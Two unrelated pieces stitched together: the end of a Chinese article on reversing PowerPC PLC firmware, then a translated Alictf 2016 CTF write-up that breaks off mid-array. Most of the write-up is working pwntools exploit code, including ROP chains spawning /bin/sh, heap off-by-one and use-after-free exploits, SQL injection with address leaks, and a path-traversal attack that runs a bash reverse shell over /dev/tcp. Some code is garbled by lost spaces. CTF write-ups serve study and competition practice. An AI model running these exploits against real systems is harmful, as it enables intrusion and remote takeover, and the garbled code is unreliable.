spc_reg是特殊寄存器的意思，指令将reg寄存器的内容传个一个特殊寄存器，所以这条指令的意思就是将0x4000000赋给IC_CSR寄存器。可以看到，这个r4就是个中间商，那么和之后的参数传递应该是没有关系的。
看到这里有些同学可能就会说了：“你不是说Ghidra有反汇编功能吗？那你还费劲让我们看这个？”，哎，别急别急，我们就来看看Ghidra给我们的反汇编是什么样的
它就分析出了三条，instructionSynchronize()实际上对应的指令是isync，也就是指令同步的意思，并不关键，TLBInvalidateAll()实际上对应的指令是tlbia，也就是快表的相关操作（快表不知道的去翻大二专业课《操作系统》吧，文章内实在没地方讲了），而最后就是函数调用了。
有没有发现？这反编译显然是把我们的mtspr给落下了，直接将r4当成了参数，导致usrInit有了俩参数！其实我们在刚才的探索中很明显看到r4在这绝对没有起到参数传递的功能。这就说明了对于PowerPC的反编译，ida干不了，但Ghrida干得也不是很好，所以在之后的分析中我们要时刻留意，绝对不能只看反编译结果。
接着我们调到usrInit函数来看看，还是先看汇编部分
这部分是大家熟悉的函数序言，我们简单分析一下。
stwu r1,local_18(r1)
意思就是将r1的内容送到r1+local_18的地址中，r1我们说过是栈顶指针。
mfspr r0,LR
这句话在ida上会被翻译为 **mflr r0** ，就是讲LR的值给了r0，LR寄存器是记录函数返回地址的寄存器
stw r31,local_4(r1)
和第一句格式相同，是将r31的内容送到r1+local4的地址中
stw r0,local_res4(r1)
这里local_res4是个正数，也就是说将r0送到了一个栈基址往上的地方，在想到r0内容是函数返回地址，是不是就清晰了？实际上就是相当于x86中call指令将函数返回地址保存在栈上的操作。
or r31,r1,r1
or指令的操作是将第二个操作数与第三个操作数or后保存进第一个数中。那就有人要问了，r1和r1进行了or之后不还是r1吗？好问题，实际上这种格式就是PPC的mov指令，写成x86就是mov
r31，r1，为什么这样大费周折呢？这里我猜测是为了提高效率。
说到这是不是大家已经脑补出了函数序言的基本行为？实际上和x86并没有什么本质上的区别。
继续来看该函数
又是一堆函数，那我们就先看看第一个吧，它以param1作为参数，而param1就是r3，前面分析了是0
首先是bzero操作，参数是开始地址和结束地址，将中间部分都置为0，之后又这段地址将用来保存数据。
sysStartType是系统的启动类型，包括有bootram启动和rom启动，压缩式和非压缩式等等，这里受篇幅所限，先不细讲了。
intVecBaseSet是非常非常非常重要的一个函数，不知道大家看到intVec有没有想起来在《Windows调试艺术》中我们说过有个东西叫中断向量表（Interrupt
Vector Table），其实就是那玩意，这个函数就是用来设置起始地址的，这里的起始地址固定为0。
返回到usrInit我们又看见下面还一个名字中带Vec的啊，那正好再来看看这个伙计
是不是又觉得有点难了？别慌，慢慢来，首先是var2变成了地址，而后又大量使用var2的数组形式，那就让我们瞅瞅地址指向了啥
哦，var2[0]是个数，var2[1]是个地址，指向的是个函数，var2[2]是个地址，指向的是个结构体。
往后走首先是if检验excExhandle（也就是var2[2]）是不是为NULL，不是继续，显然这里不是，那就继续。
接着是个非常怪异的循环，涉及到指针、地址、结构体、结构体指针的变换，可能会很难，我尽量说的简单一些。
首先找迭代变量，这里很显然是*var1，而var1是啥？var1是var2+5，var2加5（这里的加5是地址加5，不是真的+5），看看图中地址就知道了，它跑到了handle，也就是说var1在验证handle是否为空。
var2同样在迭代，不过它是每次+3，在看图，也就是到了0x200那个地方，下面又是一个相同的结构。
最终是以*var2、var2[2]为参数调用var[1]，也就是excExcHandle(data,excExHandle)，在迭代不断地进行该函数，完成Interrupt
Vector Table的初始化工作。
## 总结
可以看到，plc固件的逆向涉及到了非常非常多的新知识，由于篇幅所限，这次我们仅仅是完成了最基本的工作，接下来我们会一点点深入，直到彻底吃透该固件。 | 社区文章 |
# [Nu1L] writup-for-Alictf-2016
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**MISC**
**coloroverflow**
首先感觉这种包名不像是CTF用的,所以直接Google之,发现是Google Play上开源的游戏Color
Overflow。于是下载下来进行比对,发现多出了几个类无法匹配上原apk,所以猜测是自己后加的。分别将多出的类分析之后,发现分别是用语发送请求、生成请求和工具类。我将其命名为LogClass、n和Utils
程序将请求生成之后向log.godric.me发送POST请求,在代码里发现数据发送之前用经过了GZIP压缩。在pcap中,也发现了这个请求,pcap里显示确实有Content-Encoding: gzip。用wireshark导出http数据得到了原始数据。
现在从LogClass往上找,发现GameView$1里的new LogClass().execute(new
ByteArrayOutputStream[]{v2.OutputRequestBody()});会调用n中的方法。然后LogClass里的run会发送。
public ByteArrayOutputStream OutputRequestBody() {
try {
this.output_stream.reset();
f.a(this.output_stream, this.szId);
f.a(this.output_stream, this.CurMill);
f.a(this.output_stream, this.Rand);
f.a(this.output_stream, this.d);
this.output_stream.flush();
}
catch(Exception v0) {
v0.printStackTrace();
}
return this.output_stream;
}
其中d是由要发送的数据进行AES加密后得到的,在GetRequestBody这个方法中。
这部分缓存了要发送的数据。a方法有三个重载,都将输出到缓冲区。分别会先输出对应的类型标志,21、18和24。接下来,字符串类型会字符串长度,然后输出字符串;字节数组会输出一个字节表示长度,然后输出所有字节;长整型会按7位分组然后高位作为结尾标志,每次输出一个字节,高位为0表示结束。
因此我们可以从pcap导出的数据中还原出szId, CurMil, Rand, d。
szId被计算MD5后,摘要作为key(未编码成十六进制字符串),Rand和CurMill进行循环异或得到IV。因此key和IV也可以计算出来。
再来看AES:
if(i == 0) {
int j;
for(j = 0; j < block_size; ++j) {
block[j] = ((byte)(padded_input[j] ^ arg13[j]));
}
}
else {
int j;
for(j = 0; j < block_size; ++j) {
block[j] = ((byte)(padded_input[i * 16 + j] ^ block_out[j]));
}
}
block_out = AES.EncryptBlock(block);
System.arraycopy(block_out, 0, outbuf, i * 16, block_size);
这部分看出,该AES将上一轮的输出和输入进行异或再加密,因此是CBC模式。
还原出IV和key,还有encrypted之后,便可以进行解密。解密出来发现其中包含flag。
szid = 'bb39b07060deabd5'
curmill = [0xb9, 0xe8, 0xf3, 0xd3, 0xca, 0x2a]
curmill = [i & (~128) for i in curmill]
curmill = sum([curmill[i] << (7*i) for i in range(len(curmill))])
print curmill
rand = '46 51 4b f9 f2 b3 cd 3b f5 80 b7 cd 9b ae 45 14'.split()
rand = [int(i, 16) for i in rand]
import md5
m = md5.md5()
m.update(szid)
key = m.digest()
print 'key', map(ord, key)
IV = [(curmill >> (i*8)) & 255 for i in range(8)][::-1]
IV = [rand[i] ^ IV[i%8] for i in range(len(rand))]
IV = ''.join(map(chr, IV))
print 'IV', map(ord, IV)
with open('encrypted') as f:
encrypted = f.read()
from Crypto.Cipher import AES
aes_d = AES.new(key, AES.MODE_CBC, IV)
print aes_d.decrypt(encrypted)
**PWN**
**Vss**
存在一个栈溢出,输入的第0x48-0x50个字节刚好覆盖返回地址,用ROPgadget找到一个ropchain,由于第0x48-0x50个字节是返回地址,再找一个add
rsp ret的gadget增加rsp的地址就可以返回到ropchain
from pwn import *
from struct import pack
p = remote('121.40.56.102', 2333)
recv_content = p.recvuntil('Password:n')
p2 = ''
p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret
p2 += pack('<Q', 0x00000000006c4080) # @ .data
p2 += pack('<Q', 0x000000000046f208) # pop2 rax ; ret
p2 += '/bin//sh'
p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret
p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8
p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p2 += pack('<Q', 0x0000000000401823) # pop2 rdi ; ret
p2 += pack('<Q', 0x00000000006c4080) # @ .data
p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret
p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8
p2 += pack('<Q', 0x000000000043ae05) # pop2 rdx ; ret
p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8
p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045f2a5) # syscall ; ret
payload1 = 'py' + 'B' * (0x4e - 0x8) + p64(0x000000000044892a) + 'A' * (0xd0 - 0x50) + p2
p.sendline(payload1)
p.interactive()
fb
教科书一般的off-by-one
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from pwn import *
import os
# flag : alictf{FBfbFbfB23666}
# switches
DEBUG = 0
# modify this
'''
if DEBUG:
io = process('./fb')
else:
io = remote('121.40.56.102',9733)
'''
if DEBUG: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
# define interactive functions here
def menu():
return ru('Choice:')
def addmsg(length):
menu()
sl('1')
ru(':')
sl(str(length))
return
def setmsg(index,content):
menu()
sl('2')
ru(':')
sl(str(index))
ru(':')
sl(content)
return
def delmsg(index):
menu()
sl('3')
ru(':')
sl(str(index))
return
def leak(addr):
if 'x0a' in p64(addr): return 'x00'# :<
setmsg(1, p64(addr) + p32(100))
delmsg(2)
buf = ru('Done').rstrip('Done')
if len(buf) == 0:return 'x00'
return buf + 'x00'
printf = 0x4006E0
ptr = 0x6020c0
ptr2 = 0x6020e0
freegot = 0x602018
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
#elf = ELF('./fb')
addmsg(248)
addmsg(240)# xxx
addmsg(256)
addmsg(248)
addmsg(240)
addmsg(256)
addmsg(256)
addmsg(256)
setmsg(7, '%17$p')
payload = ''
payload += p64(0) + p64(0xf1)
payload += p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(240, 'x00')
payload += p64(0xf0)
setmsg(0,payload)
delmsg(1)
payload2 = p64(0) + p32(0) + p32(16) + p64(0) + p64(freegot) + p64(2000) + p64(0x6020e0) + p32(0x1000)
setmsg(0, payload2)
setmsg(0, p64(printf)[:-1])
delmsg(7)
buf = ru('Done').rstrip('Done').lstrip('0x')
libc_start_main_ret = int(buf, 16)
#info('Libc leaked = ' + hex(libc_start_main_ret))
libc = libc_start_main_ret - 0x21f45
system = libc + 0x0000000000046590
setmsg(6, '/bin/sh;')
setmsg(0, p64(system)[:-1])
delmsg(6)
io.interactive()
return
if __name__ == '__main__':
io = remote('114.55.103.213',9733)
pwn()
io.close()
routers
connect(0,1), connect(1,2)会导致router 0中指针单向指向router 1, 此时delete(1)会导致uaf.
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from pwn import *
import os
# flag : alictf{S0rry_F0r_USiNG_CP1uSp1Us_vTaB1es}
# switches
DEBUG = 0
# libc = 2.19 ubuntu-6.9
os.environ["LD_PRELOAD"] = "./libc-x.so"
# modify this
if DEBUG:
io = process('./routers')
else:
io = remote('114.55.103.213',6565)
if DEBUG: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
# define interactive functions here
def create_route(t,name):
ru('>')
sl('create router')
ru(':')
sl(t)
ru('name: ')
sl(name)
return
def create_terminal(t,name,attached):
ru('>')
sl('create terminal')
ru(':')
sl(attached)
ru(':')
sl(t)
ru(':')
sl(name)
return
def delete_router(name):
ru('>')
sl('delete router')
ru(':')
sl(name)
return
def connect(name1, name2):
ru('>')
sl('connect')
ru(':')
sl(name1)
ru(':')
sl(name2)
return
def disconnect(name):
ru('>')
sl('disconnect')
ru(':')
sl(name)
return
def show():
ru('>')
sl('show')
return
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
# uaf in disconnect
create_route('cisco', '123')
create_route('cisco', 'aaa')
create_route('cisco', 'bbb')
connect('123', 'aaa')
connect('aaa', 'bbb')
delete_router('aaa')
create_terminal('osx','hello','bbb')
show()
ru('to ')
pie = u64(ru('n')[:-1].ljust(8,'x00')) - 0x204b30
info('PIE Leaked = ' + hex(pie))
got = pie + 0x204EC8
create_route('cisco', 'b1')
create_route('cisco', 'b2')
create_route('cisco', 'b3')
create_route('cisco', 'b4')
connect('b1','b2')
connect('b2','b3')
delete_router('b2')
delete_router('b4')
payload = 'A'*0x8 + p64(got) + p64(0) + p64(0)[:-1]
create_route('cisco', payload)
show()
ru('to ')
ru('to ')
#offset_setvbuf = 0x70670
offset_setvbuf = 0x705a0
libc = u64(ru('n')[:-1].ljust(8,'x00')) - offset_setvbuf
info('Libc Leaked = ' + hex(libc))
# leak heap address
delete_router(payload)
xxx_vtable = libc + 0x3BE060 - 8
payload2 = p64(xxx_vtable) + p64(pie) + p64(0) + p64(0)[:-1]
create_route('cisco', payload2)
create_route('cisco', 'feeder')
delete_router('feeder')
disconnect('b1')
show()
for i in xrange(6): ru('named ')
heap_addr = u64(ru(' ')[:-1].ljust(8,'x00')) - 0x340
info('Heap addr leaked = ' + hex(heap_addr))
# final stage
create_route('cisco', 'c1')
create_route('cisco', 'c2')
create_route('cisco', 'c3')
create_route('cisco', 'c4')
connect('c1', 'c2')
connect('c2', 'c3')
delete_router('c2')
delete_router('c4')
gadget = libc + 0xE4968
payload3 = p64(heap_addr+0x450) + p64(pie) + p64(0) + p64(0)[:-1]
create_route('cisco', payload3)
spray = 7 * p64(gadget)
create_route('cisco', spray)
'''
poprdi = libc + 0x0000000000022b9a
system = libc + 0x46590
binsh = libc + 0x17C8C3
ropchain = ''
ropchain += p64(poprdi)
ropchain += p64(binsh)
ropchain += p64(system)
'''
disconnect('c1')
io.interactive()
return
if __name__ == '__main__':
pwn()
**http**
题目是一个http服务器,刚开始没有给binary,经过测试发现,修改http头的请求目录可以导致任意文件读取(e.g.: GET
/../../../../../etc/passwd HTTP/1.1),
通过此漏洞读取/proc/self/maps获取binary路径,然后得到二进制文件,分析后发现服务器处理post请求处有漏洞,利用见脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from pwn import *
import os
# flag : alictf{1et's_p14y_with_thr34ds_at_httpd}
# switches
DEBUG = 0
# modify this
if DEBUG:
io = remote('127.0.0.1', 46962)
else:
io = remote('120.26.90.0',42665)
if DEBUG: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
# define interactive functions here
def sendpost(target, content):
buf = ''
buf += 'POST '
buf += target
buf += ' HTTP/1.1n'
buf += 'Content-Length: '
buf += str(len(content))
buf += 'nn'
buf += content
sn(buf)
return
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
# arbitary file read vuln in httpd
# dumping the binary and we find post content is passed to a newly created process, which we can specify
#sendpost('/../../../../../../bin/bash', 'ls -la /;exitn')
sendpost('/../../../../../../bin/bash', 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;exit;n')# connect back shell
io.interactive()
return
if __name__ == '__main__':
pwn()
**vvss**
**sqli + 栈溢出, 利用见脚本:**
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from pwn import *
import os
# flag : alictf{n0t_VerY_v3ry_secure_py}
# switches
DEBUG = 0
# modify this
if DEBUG:
io = process('./vvss')
else:
io = remote('120.26.120.82',9999)
context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
# define interactive functions here
def listall():
sl('py')
return
# select plain, len from keys where qid='%s'
def query(param):
buf = 'pz'
buf += param
sl(buf)
return
def todo():
buf = 'pi'
sl(buf);
return
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
#listall()
query("a';insert into keys values (909, hex(fts3_tokenizer('simple')), 'bx', 100);")# use tokenizer to leak address
query("bx")
offset = 0x2b4d80
ru('0')
buf = rn(16)
sqlite_base = u64(buf.decode('hex')) - offset
info('SQLite Base leaked = ' + hex(sqlite_base))
offset2lib = 0x3c5000
libc = sqlite_base - offset2lib
system = libc + 0x46590
binsh = libc + 0x17C8C3
ropchain = ''
ropchain += p64(sqlite_base + 0x0000000000009ef8)
ropchain += p64(binsh)
ropchain += p64(system)
payload = 656 * 'a' + ropchain
query("a';insert into keys values (31337, x'"+payload.encode('hex')+"', 'exx', "+str(len(payload))+");")
query("exx")
io.interactive()
return
if __name__ == '__main__':
pwn()
**Reverse**
**Al-Gebra**
一个pyinstaller打包的程序。用pyinstxtractor.py解包,然后发现主要文件是pyimod04_builtins,修复文件头之后反编译,获得主程序代码。
主程序从服务器获取了数据和两个函数 add和mul。
保存服务器发来的数据然后修复文件头反编译,得到函数内容。
程序逻辑就是做个矩阵乘法,然后检验结果。但是这里的加法和乘法都被重新定义过了。网上搜了下,发现这玩意好像叫多项式环。
直接对mul函数进行一些测试。发现对于mul(a,x)=b,a<256,b<256,x一定有解。然后在加上异或本身的一些特性,就满足了做方程式化简求解的要求。
然后拍了个高斯消元,注意加和乘的重定义。得解。
alictf{Ne_pleure_pas_Alfred}
mat=[[207, 152, 250, 232, 183, 247, 125, 31, 89, 176, 139, 246, 97, 125, 76, 1, 175, 141, 61, 196],
[90, 41, 196, 89, 48, 166, 201, 255, 28, 72, 10, 227, 134, 247, 87, 10, 219, 51, 146, 93],
[76, 3, 187, 211, 246, 46, 222, 194, 67, 165, 130, 244, 221, 248, 132, 47, 91, 245, 136, 141],
[223, 211, 5, 77, 225, 6, 21, 196, 120, 19, 233, 214, 143, 224, 2, 119, 50, 188, 90, 88],
[108, 177, 46, 95, 80, 128, 125, 128, 22, 227, 179, 177, 191, 191, 7, 91, 209, 79, 31, 2],
[152, 229, 184, 163, 212, 71, 125, 72, 67, 179, 37, 173, 156, 59, 235, 79, 28, 134, 73, 245],
[40, 123, 5, 233, 197, 233, 30, 18, 232, 33, 56, 95, 69, 44, 205, 176, 246, 7, 211, 109],
[11, 28, 73, 59, 71, 154, 72, 92, 139, 27, 109, 193, 92, 102, 17, 140, 230, 254, 181, 35],
[242, 49, 103, 240, 78, 79, 46, 224, 168, 137, 147, 8, 125, 149, 197, 109, 85, 208, 254, 44],
[180, 66, 51, 154, 33, 51, 1, 33, 0, 227, 13, 192, 65, 217, 206, 204, 7, 14, 22, 232],
[46, 58, 126, 154, 21, 73, 28, 130, 223, 212, 63, 69, 167, 80, 240, 8, 172, 208, 206, 76],
[218, 94, 40, 0, 108, 187, 3, 9, 39, 65, 110, 26, 242, 41, 143, 100, 17, 186, 95, 127],
[19, 188, 30, 252, 33, 235, 104, 10, 232, 186, 243, 211, 92, 210, 150, 146, 191, 96, 108, 208],
[119, 109, 150, 141, 45, 208, 118, 47, 10, 40, 41, 47, 122, 99, 238, 244, 0, 241, 187, 198],
[240, 138, 99, 154, 114, 245, 192, 199, 90, 166, 232, 140, 119, 243, 237, 86, 21, 5, 168, 251],
[144, 99, 109, 211, 70, 17, 11, 149, 225, 17, 177, 63, 53, 146, 17, 168, 81, 50, 149, 218],
[238, 179, 216, 200, 226, 215, 124, 171, 57, 183, 76, 165, 56, 140, 123, 197, 152, 71, 112, 242],
[162, 115, 153, 111, 219, 42, 159, 188, 118, 77, 232, 53, 83, 223, 183, 219, 150, 177, 149, 76],
[229, 216, 82, 107, 93, 225, 244, 98, 38, 190, 193, 97, 54, 27, 208, 15, 71, 39, 106, 233],
[131, 13, 74, 27, 217, 248, 206, 44, 14, 71, 69, 62, 35, 94, 224, 126, 96, 120, 252, 11]]
c =[157, 244, 209, 121, 181, 200, 239, 205, 226, 51, 188, 143, 121, 212, 12, 95, 36, 10, 251, 133]
length =len(mat[0])
def mul_line(i, num):
for j inxrange(length):
mat[i][j]=mul(mat[i][j], num)
c[i]=mul(c[i], num)
def swap_line(a, b):
tmp =c[a]
c[a]=c[b]
c[b]= tmp
tmp =mat[a]
mat[a]=mat[b]
mat[b]= tmp
def minus_line(src, dest):
for i inxrange(length):
mat[dest][i]=mat[dest][i] ^ mat[src][i]
c[dest]=c[dest] ^ c[src]
def minus_row(row, num):
for i inxrange(length):
mat[i][row] = mat[i][row] ^ num
def print_mat():
for i inxrange(length):
printmat[i]
print""
def mul(a, b):
r =0
while a !=0:
if a & 1:
r = r ^ b
t = b & 128
b = b << 1
if b & 256:
b = (b ^ 215) & 255
a = a >> 1
return r
def run():
lum =[[jfor j inrange(0, 256)]for i inrange(0, 256)]
for i inrange(0, 256):
for j inrange(0, 256):
lum[i][mul(i,j)]= j
for j inxrange(len(mat[0])):
# print j
# print_mat()
end = length -1
for i inrange(j, length):
if end ==i:
#print end
break
ifmat[i][j]==0:
swap_line(i, end)
end -=1
# change to 1
for i inrange(j, length):
ifmat[i][j]==0:
break
mul_line(i, lum[mat[i][j]][1])
# print_mat()
# up minus all
for i inrange(j +1, length):
ifmat[i][j]==0:
break
minus_line(j, i)
# print_mat()
ans =[]
#print c
for j inrange(length -1, -1, -1):
xn=lum[1][c[j]]
ans.append(chr(xn))
for i inrange(j, -1, -1):
c[i] ^= mul(xn, mat[i][j])
# print_mat()
print"".join(ans[::-1])
run()
**Timer**
逆向so里的函数,然后直接爆破。
代码写炸了,得到一组结果。。然后找到一些比较像flag的一个个试的
alictf{Y0vAr3TimerMa3te7}
#include "cstdio"
#include "cmath"
boolisPrime(int x){
if(x<=1)
return false;
for(int i=2;i<=sqrt(x);i++){
if (x%i==0){
return false;
}
}
return true;
}
intfunc(intinput)
{
int v3; // r0@1
int v4; // r6@1
int v5; // r1@1
int v6; // r7@1
int v7; // r0@1
int v8; // r4@1
longlong v9; // r0@2
int v10; // r0@2
int v11; // r1@2
int v12; // r0@2
int v13; // r0@2
unsigned int v14; // r1@2
longlong v15; // r0@2
int v16; // r0@2
unsigned int v17; // r0@2
int v18; // r0@3
int v19; // r0@6
intv20;// r0@6
intv21;// r0@6
intv22;// r0@6
intv23;// r0@6
intv24;// r0@6
intv25;// r0@6
charv26;// r0@6
intresult;// r0@6
signed intv29;//[sp+8h][bp-38h]@1
int v30; //[sp+Ch][bp-34h]@1
charv31[18];//[sp+10h][bp-30h]@1
int v32; //[sp+24h][bp-1Ch]@1
v29=input;
double b1 =input;
double b13,b15;
v7 = b1/323276.0999999999800;
v8 = v7;
v31[0]= v8 +v29%100;
if ( isPrime((v8+v29%100) & 0xFF) )
{
v9 = b1/59865.9000000000010;
v10 = v9 +21;
v12 = v10;
v31[1]= v12;
b13=v12;
b15 = b13 *2.4230000000000;
v16 = b15 +1.7;
v17 = v16;
v31[2]= v17;
if ( v17 > 0x6F )
{
v18 = b1 /24867.4000000000010;
v31[3]= v18;
}else{
returnresult;
}
v31[13]=51;
v31[14]=116;
v31[15]=101;
v31[16]=55;
}
else
{
returnresult;
v31[1]=57;
v31[2]=67;
v31[3]=-120;
v31[13]=61;
v31[14]=106;
v31[15]=111;
v31[16]=59;
}
v31[4]=v31[2]-4;
v19 = b1 /31693.7999999999990;
v31[5]= (v19);
v20= b1/19242.6600000000000;
v31[6]=(v20);
v21= (b1/15394.1000000000000);
v31[7]= (v21);
v22= (b1/14829.2000000000010);
v31[8]=(v22);
v23= (b1/16003.7999999999990);
v31[9]= (v23);
v24= (b1/14178.7999999999990);
v31[10]= (v24);
v31[11]=v29/20992;
v25= (b1 /16663.7000000000010);
v26=(v25);
v31[17]=0;
v31[12]=v26;
for(int i=0;i<17;i++){
if(!( (v31[i]>='a' && v31[i]<='z') || (v31[i]>='A' && v31[i]<='Z') || (v31[i]>='0' && v31[i]<='9') || v31[i]=='_' )){
returnresult;
}
}
printf("%sn",v31);
returnresult;
}
intmain(intargc,charconst*argv[])
{
for (int i=20991;i<20991*129;i++){
func(i);
}
return0;
}
**showmethemoney**
c#写的勒索程序,逆向后发现会把id和key发到120.26.120.82:9999。
扫了下120.26.120.82的端口,发现80开着,得到vvss,逆向发现输入py会显示所有数据。得到key,写程序解密即可。
alictf{Black_sh33p_w411}
**REact**
reactnative的apk,反编译提取出js文件。验证程序分为两个部分。
第一个部分找到关键函数s,提取出判断函数e。
然后调试,发现是矩阵乘法(又是矩阵乘法)。然后提取出数据,求解方程组即可。
第二个部分在java层,通过bridge调用,直接求解即可。
alictf{keep_young_and_stay_simple_+1s_!}
第一部分
mat=[[11, 32, 31, 0, 10, 10, 6, 18, 10, 17, 16, 5, 12, 9, 26, 13],
[0, 31, 15, 28, 2, 30, 18, 20, 12, 7, 12, 25, 13, 7, 11, 22],
[13, 27, 8, 17, 7, 1, 17, 7, 21, 29, 8, 31, 31, 16, 28, 26],
[13, 27, 20, 19, 12, 16, 0, 4, 16, 4, 21, 9, 11, 8, 24, 0],
[17, 5, 25, 13, 14, 14, 29, 2, 24, 21, 27, 5, 20, 23, 22, 14],
[6, 0, 20, 13, 24, 30, 25, 5, 32, 7, 15, 10, 6, 20, 27, 18],
[18, 28, 11, 31, 4, 16, 30, 24, 22, 7, 4, 19, 18, 11, 12, 27],
[2, 23, 1, 23, 10, 12, 28, 14, 19, 3, 13, 29, 27, 9, 3, 22],
[27, 30, 32, 8, 24, 11, 12, 7, 12, 26, 27, 0, 1, 32, 14, 25],
[28, 8, 17, 10, 9, 9, 18, 16, 16, 24, 19, 25, 22, 30, 24, 10],
[24, 0, 30, 10, 19, 20, 3, 25, 1, 17, 23, 25, 5, 16, 7, 16],
[20, 1, 19, 21, 23, 27, 15, 5, 32, 30, 1, 20, 3, 28, 15, 12],
[15, 16, 26, 9, 29, 25, 11, 10, 21, 6, 16, 12, 23, 21, 31, 32],
[10, 1, 18, 27, 11, 6, 4, 23, 9, 8, 17, 31, 18, 22, 2, 16],
[11, 16, 23, 28, 10, 10, 19, 10, 10, 4, 12, 1, 0, 15, 14, 5],
